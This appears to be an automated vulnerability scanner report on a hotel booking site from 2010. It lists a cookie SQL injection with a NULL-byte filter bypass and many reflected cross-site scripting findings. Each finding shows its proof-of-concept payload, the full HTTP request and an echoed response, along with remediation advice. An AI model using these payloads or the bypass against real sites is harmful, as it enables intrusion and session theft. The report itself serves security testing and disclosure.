The ClrSCD cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ClrSCD cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
Request 1
GET /en/hi/res/choose_rates.jhtml?_DARGS=/en/hp/res/choose_rates_form_body.jhtml.1 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836%00'; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response 1
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:27:40 GMT Connection: close Connection: Transfer-Encoding Content-Length: 104307
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Rooms & Rates: The Beverly Hilton</title> <META NAME="W ...[SNIP]... <span class="error"> ...[SNIP]...
Request 2
GET /en/hi/res/choose_rates.jhtml?_DARGS=/en/hp/res/choose_rates_form_body.jhtml.1 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836%00''; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response 2
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Length: 0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:27:41 GMT Connection: close
2. Cross-site scripting (reflected)previousnext There are 54 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the DateHidden request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1a6ab'-alert(1)-'6629307ff6c was submitted in the DateHidden parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:15:41 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'DateHidden=1a6ab'-alert(1)-'6629307ff6c&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.12857 ...[SNIP]...
The value of the DateHidden request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fad3a"><script>alert(1)</script>c162ee4671e was submitted in the DateHidden parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:15:17 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?DateHidden=fad3a"><script>alert(1)</script>c162ee4671e&DateType=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.12857 ...[SNIP]...
The value of the DateType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc4e7"><script>alert(1)</script>fdd25521503 was submitted in the DateType parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:16:16 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?DateHidden=&DateType=cc4e7"><script>alert(1)</script>fdd25521503&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__ ...[SNIP]...
The value of the DateType request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fdd06'-alert(1)-'8ea9af9f6f9 was submitted in the DateType parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:16:22 GMT Connection: keep-alive Content-Length: 36329
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'DateHidden=&DateType=fdd06'-alert(1)-'8ea9af9f6f9&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__ ...[SNIP]...
The value of the IntiCI request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f55ed"><script>alert(1)</script>81d115b881e was submitted in the IntiCI parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:17:02 GMT Connection: keep-alive Content-Length: 36441
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?DateHidden=&DateType=&IntiCI=f55ed"><script>alert(1)</script>81d115b881e&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206 ...[SNIP]...
The value of the IntiCI request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b4b5'-alert(1)-'caffd05b73f was submitted in the IntiCI parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:17:08 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'DateHidden=&DateType=&IntiCI=4b4b5'-alert(1)-'caffd05b73f&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206 ...[SNIP]...
The value of the IntiCO request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8d76a'-alert(1)-'47f228dcbbe was submitted in the IntiCO parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:18:01 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = 'DateHidden=&DateType=&IntiCI=&IntiCO=8d76a'-alert(1)-'47f228dcbbe&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2 ...[SNIP]...
The value of the IntiCO request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd1de"><script>alert(1)</script>2e72ed0d689 was submitted in the IntiCO parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:17:55 GMT Connection: keep-alive Content-Length: 36449
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?DateHidden=&DateType=&IntiCI=&IntiCO=dd1de"><script>alert(1)</script>2e72ed0d689&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2 ...[SNIP]...
The value of the _DARGS request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5377"><script>alert(1)</script>55771349de4 was submitted in the _DARGS parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/hi/res/choose_dates.jhtml?_DARGS=/en/hi/res/choose_dates_form_body.jhtmlf5377"><script>alert(1)</script>55771349de4 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:23:52 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34896
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <input type="hidden" value="/en/hi/res/choose_dates.jhtml?_DARGS=/en/hi/res/choose_dates_form_body.jhtmlf5377"><script>alert(1)</script>55771349de4" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSuccessURL"> ...[SNIP]...
The value of the _DARGS request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00eb99e'-alert(1)-'8fc78f00bd9 was submitted in the _DARGS parameter. This input was echoed as eb99e'-alert(1)-'8fc78f00bd9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /en/hi/res/choose_dates.jhtml?_DARGS=/en/hi/res/choose_dates_form_body.jhtml%00eb99e'-alert(1)-'8fc78f00bd9 HTTP/1.1 Host: secure.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ClrOSSID=1285773080836-41536; ClrCSTO=T; JSESSIONID=I0Y3BPTGUV0FKCSGBJBN2EQ; K3R7=3dk-eQ4XUtRvjpAuL1F6uFYPrMI7Z6lI-I84CbL19IAhNikEbAbyQdg; mmcore.pd=900809129%7C5873798984082; mmcore.tst=0.351; ClrSCD=1285773080836; mmcore.srv=cg1.use; ClrSSID=1285773080836-41536;
Response
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Date: Wed, 29 Sep 2010 15:23:55 GMT Connection: close Connection: Transfer-Encoding Content-Length: 34828
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... <script type="text/javascript"> var csOrigQueryString1 = '_DARGS=/en/hi/res/choose_dates_form_body.jhtml%00eb99e'-alert(1)-'8fc78f00bd9'; </script> ...[SNIP]...
The value of the __utma request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e34a6'-alert(1)-'4549682df76 was submitted in the __utma parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:27:09 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... pe=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1e34a6'-alert(1)-'4549682df76&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-&__utmk=118669322'; </script> ...[SNIP]...
The value of the __utma request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67284"><script>alert(1)</script>d41f435c5f3 was submitted in the __utma parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:27:03 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... pe=&IntiCI=&IntiCO=&hotel=LAXBHHH&adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.167284"><script>alert(1)</script>d41f435c5f3&__utmb=206140544.2.10.1285773038&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-&__utmk=118669322" name="/com/hi ...[SNIP]...
The value of the __utmb request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57552"><script>alert(1)</script>b6128041e40 was submitted in the __utmb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:28:15 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... &adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.128577303857552"><script>alert(1)</script>b6128041e40&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-&__utmk=118669322" name="/com/hilton/crm/client/handler/LoginForm ...[SNIP]...
The value of the __utmb request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 63ca1'-alert(1)-'abb79d1c26d was submitted in the __utmb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:28:21 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... &adId=ThayerLAXBHHH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.128577303863ca1'-alert(1)-'abb79d1c26d&__utmc=206140544&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-&__utmk=118669322'; </script> ...[SNIP]...
The value of the __utmc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27015'-alert(1)-'d67fd5de11d was submitted in the __utmc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:29:46 GMT Connection: keep-alive Content-Length: 36337
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... HH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=20614054427015'-alert(1)-'d67fd5de11d&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-&__utmk=118669322'; </script> ...[SNIP]...
The value of the __utmc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20e63"><script>alert(1)</script>82add01bf67 was submitted in the __utmc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:29:22 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title ...[SNIP]... HH&arrivalMonth=&arrivalYear=&departureMonth=&departureYear=&arrivalDay=29&departureDay=29&__utma=206140544.62875657.1285773038.1285773038.1285773038.1&__utmb=206140544.2.10.1285773038&__utmc=20614054420e63"><script>alert(1)</script>82add01bf67&__utmx=-&__utmz=206140544.1285773038.1.1.utmcsr=bing|utmccn=(organic)|utmcmd=organic|utmctr=berverly%20hilton&__utmv=-&__utmk=118669322" name="/com/hilton/crm/client/handler/LoginFormHandler.finalSucc ...[SNIP]...
The value of the __utmk request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da492"><script>alert(1)</script>ae5dde83a50 was submitted in the __utmk parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Content-Type: text/html P3p: policyref="/w3c/p3p.xml", CP="NOI DSP DEVa TAIa OUR BUS UNI" Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Vary: Accept-Encoding Date: Wed, 29 Sep 2010 15:33:51 GMT Connection: keep-alive Content-Length: 36417
<!--suppress top nav sign in widget -->
